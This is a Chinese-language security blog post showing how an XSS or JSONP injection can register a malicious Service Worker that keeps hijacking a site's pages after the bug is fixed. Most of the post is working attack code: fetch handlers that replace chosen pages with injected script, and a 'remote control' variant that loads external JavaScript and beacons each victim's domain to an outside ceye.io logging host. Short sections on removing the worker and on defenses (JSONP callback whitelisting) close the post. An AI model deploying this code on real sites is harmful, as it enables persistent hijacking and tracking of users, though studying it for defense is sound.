文章目录
  1. 1. Service Worker 是什么?
  2. 2. 攻击
  3. 3. 继续玩
  4. 4. 解除攻击
  5. 5. 防范方法

我们可以用 JS 代码来拦截浏览器当前域的 HTTP 请求,并设置缓存的文件,直接返回,不经过 web 服务器,使目标只要在线就可以被我们控制。可怕的是,即便 xss 漏洞被修复了,攻击仍然持续,并且渗透到攻击范围内的每一个 url。

Service Worker 是什么?

一个 service worker 是一段运行在浏览器后台进程里的脚本,它独立于当前页面。在将来,基于它可以实现消息推送,静默更新以及地理围栏等服务,但是目前它首先要具备的功能是拦截和处理网络请求,包括可编程的响应缓存管理。
Service Worker是基于Web Worker的事件驱动的,他们执行的机制都是新开一个线程去处理一些额外的任务。对于Web Worker,我们可以使用它来进行复杂的计算,因为它并不阻塞浏览器主线程的渲染。而Service Worker,我们可以用它来进行本地缓存,相当于一个本地的proxy。说起缓存,我们会想起我们常用的一些缓存技术来缓存我们的静态资源,但是老的方式是不支持调试的,灵活性不高。使用Service Worker来进行缓存,我们可以用javascript代码来拦截浏览器的http请求,并设置缓存的文件,直接返回,不经过web服务器。

image

我们可以用 JS 代码来拦截浏览器当前域的 HTTP 请求,并设置缓存的文件,直接返回,不经过 web 服务器,使目标只要在线就可以被我们控制。可怕的是,即便 xss 漏洞被修复了,攻击仍然持续,并且渗透到攻击范围内的每一个 url。
由于这项技术能量太大,所以在设计的时候对他做了一定的约束:只在 HTTPS 下工作,安装ServiceWorker的脚本需要当前域下,且返回的 content-type 包含javascript。

在 worker 线程中,可以获得下列对象

  1. navigator对象
  2. location对象,只读
  3. XMLHttpRequest对象
  4. setTimeout/setInterval方法
  5. Application Cache
  6. 通过importScripts()方法加载其他脚本
  7. 创建新的Web Worker

Worker 线程不能获得下列对象

  1. DOM对象
  2. window对象
  3. document对象
  4. parent对象

所以在worker线程中,不能进行dom元素的更新。也就是说在 Worker 的作用域中我们难以完成 XSS 攻击,所以还是得通过劫持 来完成攻击。

攻击

攻击需要的点:

1.注册service worker

需要一个可以xss的点

1
2
3
4
5
6
if ('serviceWorker' in navigator) {  
navigator.serviceWorker.register('/hack.js')
.then(function(registration) {
console.log('ServiceWorker registration successful with scope: ', registration.scope);
})
};

在这个例子中,service worker文件被放在这个域的根目录下,这意味着service worker和网站同源。换句话说,这个service work将会收到这个域下的所有fetch事件。如果我将service worker文件注册为/example/hack.js,那么,service worker只能收到/example/路径下的fetch事件(例如: /example/page1/, /example/page2/)。

2.hack.js可以是上传到网站的js文件,也可以是一个jsonp的接口。hack.js的内容如下:

1
2
3
4
5
this.addEventListener('fetch', function(event) {
event.respondWith(new Response("
<h1> Intercepted!</h1>
"));
});

试图拦截请求,重定向到给定url,失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
self.addEventListener('fetch', function (event) {  
event.respondWith(
caches.match(event.request).then(function(res){
if(res){//如果有缓存则使用缓存
return res;
}
return requestBackend(event);//没缓存就进行缓存
})
)
});
function requestBackend(event){
var url = event.request.clone();
if(url.url=='http://127.0.0.1/aaa.html'){//判断是否为需要劫持的资源
url.url='//html5sec.org/test.js';
}
return fetch(url).then(function(res){
//检测是否为有效响应
if(!res || res.status !== 200 || res.type !== 'basic'){
return res;
}
var response = res.clone();
caches.open('v1').then(function(cache){
cache.put(event.request, response);
});

return res;
})
}

原因是request.url是只读的
image

拦截针对某个url的请求,返回特定内容,成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
self.addEventListener('fetch', function (event) {  
event.respondWith(
//console.log(event.request)
caches.match(event.request).then(function(res){
if(res){//如果有缓存则使用缓存
return res;
}
return requestBackend(event);//没缓存就进行缓存
})
)
});

function requestBackend(event){
var url = event.request.clone();
console.log(url)
if(url.url=='http://127.0.0.1/aaa.html'){//判断是否为需要劫持的资源

return new Response("<script>alert(1)</script>", {headers: { 'Content-Type': 'text/html' }})
}
return fetch(url).then(function(res){
//检测是否为有效响应
if(!res || res.status !== 200 || res.type !== 'basic'){
return res;
}
var response = res.clone();
caches.open('v1').then(function(cache){
cache.put(event.request, response);
});

return res;
})
}

具体的攻击过程:

一开始未被攻击的aaa.html正常显示。
image

用户访问存在xss的页面hijack.html。注册上传到网站的1.js。

image
或是利用存在jsonp注入的url进行注册。
image
此时再访问aaa.html就如图了。重启浏览器依然如此。访问其他页面可以正常访问。
image

service worker只支持https的页面。在github测试成功。
image

继续玩

如何实现一个SW远控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
self.addEventListener('fetch', function (event) {  
event.respondWith(
//console.log(event.request)
caches.match(event.request).then(function(res){
if(res){//如果有缓存则使用缓存
return res;
}
return requestBackend(event);//没缓存就进行缓存
})
)
});

function requestBackend(event){
var url = event.request.clone();
console.log(url)
if(url.url=='http://127.0.0.1/aaa.php'){//判断是否为需要劫持的资源
// importScripts('3.js');
return new Response("<div id='div1'><p id='p1'>这是一个段落</p><p id='p2'>这是另一个段落</p></div><script src='http://127.0.0.1/3.js'></script><script src='http://html5sec.org/test.js'>var head = document.getElementsByTagName('head')[0];var ele=document.createElement('script');ele.src = 'http://'+document.domain+'.pxmnr7.ceye.io';head.appendChild(ele);</script>", {headers: { 'Content-Type': 'text/html' }});
}
return fetch(url).then(function(res){
//检测是否为有效响应
if(!res || res.status !== 200 || res.type !== 'basic'){
return res;
}
var response = res.clone();
caches.open('v1').then(function(cache){
cache.put(event.request, response);
});

return res;
})
}

重点关注Reponse,Response只拦截aaa.php,注入外部js。
其中3.js内容为

1
2
3
alert(11111);	
var para=document.createElement('p');var node=document.createTextNode('这是新段落。');para.appendChild(node);var element=document.getElementById('div1');element.appendChild(para);
var head = document.getElementsByTagName('head')[0];var ele=document.createElement('script');ele.src = 'http://'+document.domain+'.pxmnr7.ceye.io';head.appendChild(ele);

目的为修改页面内容,继续注入外部JS,这里注入的JS仅供娱乐,目的是定位是哪个站正在遭受攻击。

同样,用户先访问aaa.php,正常。
image
不小心访问了hijack.html。这时候回头继续看aaa.php。
image
可以看到出现了一个新段落,达到了修改页面内容和继续注入外部JS的目的。
image
最后看看ceye上的结果
image
这时只要目标访问aaa.php,就能看到他上线。当然也可以设定SW工作在整个域下或者某个目录下。

解除攻击

1
2
3
4
navigator.serviceWorker.getRegistration()
.then(function(registration) {
registration.unregister();
});

最快的办法是在 Chrome 下打开 chrome://serviceworker-internals

防范方法

Jsonp 接口的 callback 做白名单,或者只允许特定字符(比如数字、字母和下划线)。

Jsonp所在域不应该存在 XSS(一切类型)和用户可控的 js 文件。

文章目录
  1. 1. Service Worker 是什么?
  2. 2. 攻击
  3. 3. 继续玩
  4. 4. 解除攻击
  5. 5. 防范方法